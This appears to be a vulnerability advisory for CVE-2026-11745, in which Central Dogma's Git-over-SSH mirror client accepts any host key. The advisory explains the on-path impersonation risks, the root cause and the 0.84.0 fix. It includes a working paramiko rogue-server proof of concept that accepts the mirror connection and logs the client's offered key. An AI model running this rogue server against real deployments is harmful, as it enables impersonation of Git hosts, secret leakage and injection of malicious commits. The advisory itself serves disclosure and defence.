CVE-2026-11745: centraldogma-server-mirror-git SSH Host Key Verification Bypass
Central Dogma's Git-over-SSH mirror client blindly trusts any host key presented by a remote server, letting any attacker on the same network impersonate the upstream Git host and inject malicious…

The problem
In SshGitMirror.createSshClient(), the Apache MINA SSHD ClientBuilder is configured with a ServerKeyVerifier lambda that always returns true. No known_hosts lookup, no fingerprint pinning, and no operator-facing opt-in exist anywhere in the module.
Any on-path attacker (ARP spoof, internal DNS poisoning, BGP hijack, CNI compromise in Kubernetes) can intercept git+ssh:// mirror traffic. In LOCAL_TO_REMOTE mode this leaks secrets committed to the mirrored repo. In REMOTE_TO_LOCAL mode the attacker serves arbitrary commits that Central Dogma materialises and then fans out to every subscribing microservice via the watch API.
Proof of concept
A working proof-of-concept for CVE-2026-11745 in com.linecorp.centraldogma:centraldogma-server-mirror-git, with the exact payload below.
# Minimal paramiko rogue-server that triggers the bypass.
# Central Dogma connects, Central Dogma accepts the ephemeral key, auth phase begins.
# A hardened client would terminate before reaching paramiko's auth handler.
import socket
import paramiko
ROGUE_HOST_KEY = paramiko.RSAKey.generate(2048) # ephemeral, never seen before
class RogueHandler(paramiko.ServerInterface):
def check_auth_publickey(self, username, key):
# Log what Central Dogma offered, then accept or deny freely.
print(f"[+] Got auth attempt: user={username} fp={key.get_fingerprint().hex()}")
return paramiko.AUTH_FAILED # deny auth but host-key check already passed
def get_allowed_auths(self, username):
return 'publickey,password'
sock = socket.socket()
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind(('127.0.0.1', 2222)) # or intercept real port 22 / configured SSH port
sock.listen(1)
print('[*] Waiting for Central Dogma mirror connection on :2222')
conn, addr = sock.accept()
print(f'[+] Connection from {addr}')
transport = paramiko.Transport(conn)
transport.add_server_key(ROGUE_HOST_KEY)
transport.start_server(server=RogueHandler())
chan = transport.accept(30)
if chan:
chan.close()
transport.close()Root cause is CWE-322: the ServerKeyVerifier lambda at SshGitMirror.java:149 evaluates to true for every (clientSession, remoteAddress, serverKey) triple, regardless of the key presented. SSH key exchange completes successfully, so the TCP connection advances to the authentication phase before any credential is checked.
The rogue server therefore receives the client's SSH public key (or password) offered during authentication, and it has already received all data Central Dogma transmits over the session. The patch must replace the accept-all lambda with a verifier that computes the SHA-256 fingerprint of the presented host key and compares it against an operator-supplied allowlist using constant-time comparison, refusing to connect when the list is empty.
The fix
Upgrade centraldogma-server-mirror-git to **0.84.0**. The fix replaces the unconditional (clientSession, remoteAddress, serverKey) -> true verifier in SshGitMirror.createSshClient() with a proper fingerprint-checking ServerKeyVerifier, and adds an hostnamePatterns-scoped accepted-host-keys field to SSH credentials so operators can pin known fingerprints.
Mirror tasks using git+ssh:// URIs must have at least one trusted fingerprint configured or the connection is refused (fail-closed).
Related research
- criticalCVE-2026-11746CVE-2026-11746: Central Dogma Hard-coded ZooKeeper Replication Secret Enables Cluster Takeover
- highCVE-2026-55864CVE-2026-55864: GeoNetwork Unauthenticated SSRF in SLD Tool
- criticalCVE-2026-75595CVE-2026-75595: Netty SslClientHelloHandler SNI mTLS Bypass via Fragmented TLS ClientHello
- high · 7.5CVE-2026-63490CVE-2026-63490: handlebars-springmvc Arbitrary File Read via URL Fragment Suffix Bypass